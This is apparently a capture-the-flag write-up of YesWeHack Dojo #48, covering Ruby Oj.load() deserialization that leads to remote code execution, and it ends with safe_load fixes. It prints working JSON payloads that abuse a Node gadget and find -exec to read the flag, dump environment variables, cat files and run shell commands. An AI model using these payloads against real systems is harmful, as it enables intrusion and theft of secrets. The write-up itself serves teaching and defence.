YesWeHack's Dojo #48 features RubitMQ, a fake message broker dashboard with a Ruby backend. The vulnerability? Oj.load() insecure deserialization leading to Remote Code Execution.
The application uses the Oj gem (Optimized JSON) to deserialize job payloads:
class JobRunner
def self.run
Job.where(status: "queued").find_each do |job|
data = Oj.load(job.payload) # 🚨 VULNERABLE
RubitMQ.new(data).run()
job.update!(status: "done")
end
end
end
Oj.load() is Ruby's equivalent of Python's pickle.load() — it can instantiate arbitrary objects. And there's a perfect gadget class available:
class Node
def initialize(args=[])
@args = args
end
def run_find()
puts Open3.capture3("find", *@args)
end
end
The RubitMQ class helpfully calls run_find() on any object that responds to it:
class RubitMQ
def run
if @data.respond_to?(:run_find)
@data.run_find # Triggers our payload!
end
end
end
Oj's object notation uses {"^o":"ClassName"} to instantiate objects. Combined with find's -exec flag, we get RCE:
{"^o":"Node","args":[".","-maxdepth","0","-exec","printenv","FLAG",";"]}
This creates a Node object that will execute:
find . -maxdepth 0 -exec printenv FLAG ;
Without it, find would traverse directories and execute the command for each file found. -maxdepth 0 makes it only process the starting point, so -exec runs exactly once.
URI.decode_www_form_component("$output")Oj.load() deserializes → creates Node objectRubitMQ.run() calls data.run_find()Open3.capture3("find", *@args) executes with our argsfind -exec printenv FLAG dumps the flag!// Dump all environment variables
{"^o":"Node","args":[".","-maxdepth","0","-exec","env",";"]}
// Read files
{"^o":"Node","args":["/","-name","flag*","-exec","cat","{}",";"]}
// Shell commands
{"^o":"Node","args":[".","-maxdepth","0","-exec","sh","-c","id",";"]}
Just like pickle, Marshal, and YAML.load, Oj's default mode can instantiate arbitrary objects. Always use Oj.safe_load().
Deserialization exploits need a "gadget" — a class that:
The find command's -exec flag is a powerful primitive. If you control arguments to find, you have code execution.
When browser automation fails (CAPTCHAs, complex JS), try reverse-engineering the API. The challenge's full source code was available at /api/challenge-of-the-month/dojo-48.
# ❌ VULNERABLE
data = Oj.load(job.payload)
# ✅ SECURE - Use safe_load
data = Oj.safe_load(job.payload)
# ✅ Or strict mode with no class creation
Oj.load(job.payload, mode: :strict)